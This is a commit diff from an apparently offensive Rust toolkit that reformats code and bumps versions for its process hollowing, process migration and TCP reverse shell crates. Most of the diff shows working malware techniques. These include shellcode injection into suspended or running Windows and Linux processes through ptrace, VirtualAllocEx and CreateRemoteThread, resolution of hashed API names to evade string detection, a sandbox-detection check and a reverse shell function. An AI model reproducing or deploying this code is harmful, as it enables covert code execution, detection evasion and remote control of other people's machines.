Code style (#54)

* no substantive changes, just small updates

* shouldn't be any real change, just some code style best practices

* dunno how this didn't get added to the last commit

* Update reverse shell badge data via Github Action

* Update process migration badge data via Github Action

* Update process hollowing badge data via Github Action

Co-authored-by: kmanc <kmanc@users.noreply.github.com>
This commit is contained in:
kmanc
2022-08-18 07:54:13 -04:00
committed by GitHub
parent c9b1728c82
commit cea2e51ba0
15 changed files with 129 additions and 71 deletions
+1 -1
View File
@@ -1,6 +1,6 @@
{
"schemaVersion": 1,
"label": "process_hollowing",
"message": "1.6.2",
"message": "1.6.3",
"color": "blue"
}
+1 -1
View File
@@ -1,6 +1,6 @@
{
"schemaVersion": 1,
"label": "process_migration",
"message": "1.8.2",
"message": "1.8.3",
"color": "blue"
}
+1 -1
View File
@@ -1,6 +1,6 @@
{
"schemaVersion": 1,
"label": "tcp_reverse_shell",
"message": "1.2.1",
"message": "1.2.2",
"color": "blue"
}
Generated
+2 -2
View File
@@ -41,9 +41,9 @@ dependencies = [
[[package]]
name = "libc"
version = "0.2.131"
version = "0.2.132"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "04c3b4822ccebfa39c02fc03d1534441b22ead323fa0f48bb7ddd8e6ba076a40"
checksum = "8371e4e5341c3a96db127eb2465ac681ced4c433e01dd0e938adbef26ba93ba5"
[[package]]
name = "memoffset"
+1
View File
@@ -13,3 +13,4 @@ members = [
[profile.release]
lto = true
strip = true
panic = "abort"
+1 -1
View File
@@ -1,6 +1,6 @@
[package]
name = "process_hollowing"
version = "1.6.2"
version = "1.6.3"
edition = "2021"
authors = ["Kevin Conley <koins@duck.com>"]
rust-version = "1.59"
@@ -1,4 +1,3 @@
extern crate nix;
use nix::sys::ptrace::{detach, getregs, traceme, write};
use nix::sys::wait::{waitpid};
use nix::unistd::{execv, fork, ForkResult};
@@ -1,4 +1,3 @@
extern crate windows;
use std::{mem, ptr};
use std::ffi::{CString, c_void};
use windows::core::{PCSTR, PSTR};
@@ -36,7 +35,9 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.CreateProcessA.html
let lp_application_name: PCSTR = unsafe { mem::zeroed() };
let mut lp_command_line: PSTR = unsafe { mem::zeroed() };
lp_command_line.0 = CString::new(target_process).unwrap().into_raw() as *mut u8;
lp_command_line.0 = CString::new(target_process)
.unwrap()
.into_raw() as *mut u8;
let lp_current_directory: PCSTR = unsafe { mem::zeroed() };
let creation_result = unsafe { CreateProcessA(
lp_application_name,
@@ -118,20 +119,24 @@ pub fn antistring_hollow_and_run(shellcode: &[u8], target_process: &str) {
let function = rco_utils::find_function_address("Kernel32", 0x6fe222ff0e96f5c4).unwrap();
let lp_application_name: PCSTR = unsafe { mem::zeroed() };
let mut lp_command_line: PSTR = unsafe { mem::zeroed() };
lp_command_line.0 = CString::new(target_process).unwrap().into_raw() as *mut u8;
lp_command_line.0 = CString::new(target_process)
.unwrap()
.into_raw() as *mut u8;
let lp_current_directory: PCSTR = unsafe { mem::zeroed() };
unsafe {
mem::transmute::<*const (), fn(PCSTR, PSTR, *const SECURITY_ATTRIBUTES, *const SECURITY_ATTRIBUTES, bool, PROCESS_CREATION_FLAGS, *const i32, PCSTR, *const STARTUPINFOA, *const PROCESS_INFORMATION) -> BOOL>
(function)(lp_application_name,
lp_command_line,
ptr::null(),
ptr::null(),
false,
CREATE_SUSPENDED,
ptr::null(),
lp_current_directory,
&startup_info,
&mut process_information)
(function)(
lp_application_name,
lp_command_line,
ptr::null(),
ptr::null(),
false,
CREATE_SUSPENDED,
ptr::null(),
lp_current_directory,
&startup_info,
&mut process_information
)
};
// See line 76
@@ -150,7 +155,13 @@ pub fn antistring_hollow_and_run(shellcode: &[u8], target_process: &str) {
let mut address_buffer = [0; POINTER_SIZE];
unsafe {
mem::transmute::<*const (), fn(HANDLE, *const c_void, *mut c_void, usize, *mut usize)>
(function)(process_handle, image_base_address as *const c_void, address_buffer.as_mut_ptr() as *mut c_void, address_buffer.len(), ptr::null_mut())
(function)(
process_handle,
image_base_address as *const c_void,
address_buffer.as_mut_ptr() as *mut c_void,
address_buffer.len(),
ptr::null_mut()
)
};
// See line 96
@@ -159,7 +170,13 @@ pub fn antistring_hollow_and_run(shellcode: &[u8], target_process: &str) {
let pe_base_address = unsafe { ptr::read(address_buffer.as_ptr() as *const usize) };
unsafe {
mem::transmute::<*const (), fn(HANDLE, *const c_void, *mut c_void, usize, *mut usize)>
(function)(process_handle, pe_base_address as *const c_void, header_buffer.as_mut_ptr() as *mut c_void, header_buffer.len(), ptr::null_mut())
(function)(
process_handle,
pe_base_address as *const c_void,
header_buffer.as_mut_ptr() as *mut c_void,
header_buffer.len(),
ptr::null_mut()
)
};
if header_buffer[0] != 77 || header_buffer[1] != 90 {
panic!("An offset looks incorrect, the DOS header magic bytes don't correspond to 'MZ'");
@@ -173,13 +190,21 @@ pub fn antistring_hollow_and_run(shellcode: &[u8], target_process: &str) {
let entry_point_address = entry_point_rva as usize + pe_base_address;
unsafe {
mem::transmute::<*const (), fn(HANDLE, *const c_void, *const c_void, usize, *mut usize)>
(function)(process_handle, entry_point_address as *const c_void, shellcode.as_ptr() as *const c_void, shellcode.len(), ptr::null_mut())
(function)(
process_handle,
entry_point_address as *const c_void,
shellcode.as_ptr() as *const c_void,
shellcode.len(),
ptr::null_mut()
)
};
// See line 119
let function = rco_utils::find_function_address("Kernel32", 0x9f2eb3a0195b21d).unwrap();
unsafe {
mem::transmute::<*const (), fn(HANDLE)>
(function)(process_information.hThread)
(function)(
process_information.hThread
)
};
}
+1 -1
View File
@@ -1,6 +1,6 @@
[package]
name = "process_migration"
version = "1.8.2"
version = "1.8.3"
edition = "2021"
authors = ["Kevin Conley <koins@duck.com>"]
rust-version = "1.59"
@@ -1,4 +1,5 @@
extern crate nix;
use nix::sys::ptrace::{attach, detach, getregs, setregs, write};
use nix::sys::wait::{waitpid, WaitPidFlag};
use nix::unistd::Pid;
@@ -8,14 +9,14 @@ use std::process::{self, Command};
pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) {
// List and collect all of the PIDs of active processes
let list_pids = Command::new("ls")
.arg("/proc/")
.output()
.unwrap();
.arg("/proc/")
.output()
.unwrap();
let mut pids: Vec<i32> = String::from_utf8(list_pids.stdout)
.unwrap()
.split('\n')
.flat_map(|s| s.parse().ok())
.collect();
.unwrap()
.split('\n')
.flat_map(|s| s.parse().ok())
.collect();
// Throw away anything under 100 to try to limit the chances you crash the machine
pids.retain(|i| *i > 100 && *i != process::id() as i32);
@@ -28,10 +29,10 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) {
.output()
.unwrap()
.stdout;
if String::from_utf8(commandline).unwrap().contains(target_process) && attach(Pid::from_raw(*pid)).is_ok() {
target_pid = *pid;
break;
};
if String::from_utf8(commandline).unwrap().contains(target_process) && attach(Pid::from_raw(*pid)).is_ok() {
target_pid = *pid;
break;
};
}
if target_pid == 0 {
panic!("Could not find a {target_process} process whose memory can be manipulated");
@@ -52,7 +53,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) {
// Copy the RIP register to a mutable variable, then increment RIP by 2
let mut point = registers.rip;
registers.rip += 2;
// Write the updated RIP back to the target process
if let Err(error) = setregs(target_pid, registers) {
panic!("Unable to reset {target_process} registers: {error}");
@@ -106,7 +106,10 @@ pub fn antistring_inject_and_migrate(shellcode: &[u8], target_process: &str) {
process_entry.dwSize = mem::size_of::<PROCESSENTRY32>() as u32;
while unsafe {
mem::transmute::<*const (), fn(HANDLE, &mut PROCESSENTRY32) -> BOOL>
(function)(snapshot, &mut process_entry).as_bool()
(function)(
snapshot,
&mut process_entry
).as_bool()
} {
let mut process_name = String::from("");
for element in process_entry.szExeFile {
@@ -126,21 +129,37 @@ pub fn antistring_inject_and_migrate(shellcode: &[u8], target_process: &str) {
let function = rco_utils::find_function_address("Kernel32", 0x2c116091e452cf52).unwrap();
let explorer_handle = unsafe {
mem::transmute::<*const (), fn(PROCESS_ACCESS_RIGHTS, bool, u32) -> HANDLE>
(function)(PROCESS_ALL_ACCESS, false, pid)
(function)(
PROCESS_ALL_ACCESS,
false,
pid
)
};
// See line 72
let function = rco_utils::find_function_address("Kernel32", 0x5cfd66a14ed9a43).unwrap();
let base_address = unsafe {
mem::transmute::<*const (), fn(HANDLE, *const u32, usize, VIRTUAL_ALLOCATION_TYPE, PAGE_PROTECTION_FLAGS) -> *const c_void>
(function)(explorer_handle, ptr::null(), shellcode.len(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
(function)(
explorer_handle,
ptr::null(),
shellcode.len(),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
)
};
// See line 77
let function = rco_utils::find_function_address("Kernel32", 0x2638fa76194bfe63).unwrap();
unsafe {
mem::transmute::<*const (), fn(HANDLE, *const c_void, *const c_void, usize, *mut usize)>
(function)(explorer_handle, base_address, shellcode.as_ptr() as *const c_void, shellcode.len(), ptr::null_mut())
(function)(
explorer_handle,
base_address,
shellcode.as_ptr() as *const c_void,
shellcode.len(),
ptr::null_mut()
)
};
// See line 85
@@ -148,6 +167,14 @@ pub fn antistring_inject_and_migrate(shellcode: &[u8], target_process: &str) {
let start_address_option = unsafe { Some(mem::transmute(base_address)) };
unsafe {
mem::transmute::<*const (), fn(HANDLE, *const u32, u32, Option<unsafe extern "system" fn(*mut c_void) -> u32>, *const u32, u32, *mut u32)>
(function)(explorer_handle, ptr::null(), 0, start_address_option, ptr::null(), 0, ptr::null_mut())
(function)(
explorer_handle,
ptr::null(),
0,
start_address_option,
ptr::null(),
0,
ptr::null_mut()
)
};
}
+32 -26
View File
@@ -3,8 +3,7 @@ use std::error::Error;
use std::collections::hash_map::DefaultHasher;
#[cfg(feature = "antistring")]
use std::hash::{Hash, Hasher};
#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))]
extern crate windows;
#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))]
use std::ffi::CString;
#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))]
@@ -13,8 +12,7 @@ use std::mem;
use windows::core::PCSTR;
#[cfg(all(windows, feature = "antisand", feature = "antistring"))]
use core::ffi::c_void;
#[cfg(all(windows, feature = "antisand"))]
extern crate rand;
#[cfg(all(windows, feature = "antisand"))]
use rand::distributions::Alphanumeric;
#[cfg(all(windows, feature = "antisand"))]
@@ -38,11 +36,19 @@ use windows::Win32::System::SystemServices::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRE
#[cfg(feature = "xor")]
fn equalize_slice_len<T: std::clone::Clone>(slice_one: &[T], slice_two: &[T]) -> (Vec<T>, Vec<T>) {
if slice_one.len() > slice_two.len() {
(slice_one.to_vec(), slice_two.iter().cloned().cycle().take(slice_one.len()).collect())
} else {
(slice_one.iter().cloned().cycle().take(slice_two.len()).collect(), slice_two.to_vec())
}
let (longer, shorter) = match slice_one.len() > slice_two.len() {
true => (slice_one, slice_two),
false => (slice_two, slice_one),
};
(
longer.to_vec(),
shorter
.iter()
.cloned()
.cycle()
.take(longer.len())
.collect()
)
}
/*
@@ -55,9 +61,9 @@ fn xor_u8_slices(slice_one: &[u8], slice_two: &[u8]) -> Result<Vec<u8>, Box<dyn
return Err("The given slices are not the same length".into());
}
Ok(slice_one.iter()
.zip(slice_two.iter())
.map(|(&x1, &x2)| x1 ^ x2)
.collect())
.zip(slice_two.iter())
.map(|(&x1, &x2)| x1 ^ x2)
.collect())
}
/*
@@ -115,7 +121,7 @@ pub fn pound_sand() -> bool {
lpsz_url.0 = CString::new(full_link).unwrap().into_raw() as *mut u8;
let website = unsafe { InternetOpenUrlA(internet_handle, lpsz_url, &[], 0, 0) };
if website != 0 as _ {
return true
return true;
}
false
}
@@ -132,9 +138,9 @@ pub fn pound_sand() -> bool {
lpsz_agent.0 = CString::new("Name in user-agent").unwrap().into_raw() as *mut u8;
let lpsz_proxy: PCSTR = unsafe { mem::zeroed() };
let lpsz_proxy_bypass: PCSTR = unsafe { mem::zeroed() };
let internet_handle = unsafe {
let internet_handle = unsafe {
mem::transmute::<*const (), fn(PCSTR, i32, PCSTR, PCSTR, i32) -> *mut c_void>
(function)(lpsz_agent, 0, lpsz_proxy, lpsz_proxy_bypass, 0)
(function)(lpsz_agent, 0, lpsz_proxy, lpsz_proxy_bypass, 0)
};
let length = rand::thread_rng().gen_range(20..40);
@@ -152,12 +158,12 @@ pub fn pound_sand() -> bool {
let function = find_function_address("Wininet", 0x275e2d4fe536ed19).unwrap();
let mut lpsz_url: PCSTR = unsafe { mem::zeroed() };
lpsz_url.0 = CString::new(full_link).unwrap().into_raw() as *mut u8;
let website = unsafe {
let website = unsafe {
mem::transmute::<*const (), fn(*mut c_void, PCSTR, &[u8], u32, usize) -> *mut c_void>
(function)(internet_handle, lpsz_url, &[], 0, 0)
(function)(internet_handle, lpsz_url, &[], 0, 0)
};
if website != 0 as _ {
return true
return true;
}
false
}
@@ -211,7 +217,7 @@ pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box
// Calculate the address of the image headers
let image_headers: *const IMAGE_NT_HEADERS64 = unsafe { (library_base_usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64 };
// Get the relative virtual address of the export directory
let export_directory_rva = unsafe { (*image_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT.0 as usize].VirtualAddress };
// Use the RVA to get the real address of the export directory
@@ -230,13 +236,13 @@ pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box
// Find the location of the next function name's RVA
let function_name_rva_address: *const usize = (names_address + into_names) as *const usize;
// Read the RVA from its location
let function_name_rva: u32 = unsafe { ptr::read(function_name_rva_address) as u32 };
// Calculate the function name's real address
let function_name_address: *const i8 = (library_base_usize + function_name_rva as usize) as *const i8;
// Read the function name from its address
let function_name = unsafe { CStr::from_ptr(function_name_address).to_string_lossy() };
@@ -249,7 +255,7 @@ pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box
let ordinals_offset_address: *const usize = (ordinals_address + (into_names / 2_usize)) as *const usize;
// Read the RVA from its location
let ordinal_offset: u16 = unsafe { ptr::read(ordinals_offset_address) as u16};
let ordinal_offset: u16 = unsafe { ptr::read(ordinals_offset_address) as u16 };
// Find the location of the function address in the address array by using the ordinal offset
let into_functions = mem::size_of::<u32>() * (ordinal_offset as usize);
@@ -258,12 +264,12 @@ pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box
let function_address_rva_address: *const usize = (functions_address + into_functions) as *const usize;
// Read the function address's location from memory
let function_address_rva: u32 = unsafe { ptr::read(function_address_rva_address) as u32};
let function_address_rva: u32 = unsafe { ptr::read(function_address_rva_address) as u32 };
// Calculate the function's real address
let function_address: *const () = (library_base_usize + function_address_rva as usize) as *const ();
return Ok(function_address)
return Ok(function_address);
}
}
Err(format!("Could not find the function '{name_hash:x}' in '{dll}'").into())
+1 -1
View File
@@ -1,6 +1,6 @@
[package]
name = "tcp_reverse_shell"
version = "1.2.1"
version = "1.2.2"
edition = "2021"
authors = ["Kevin Conley <koins@duck.com>"]
rust-version = "1.59"
@@ -3,7 +3,7 @@ use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};
pub fn shell(ip: &str, port: u16) {
let ip_port = format!("{}:{}", ip, port);
let ip_port = format!("{ip}:{port}");
// Make a TCP stream connection
let stream = TcpStream::connect(ip_port).unwrap();
@@ -1,4 +1,3 @@
extern crate windows;
use std::{mem, ptr};
use std::ffi::{CStr, CString, c_void};
use windows::core::{PCSTR, PSTR};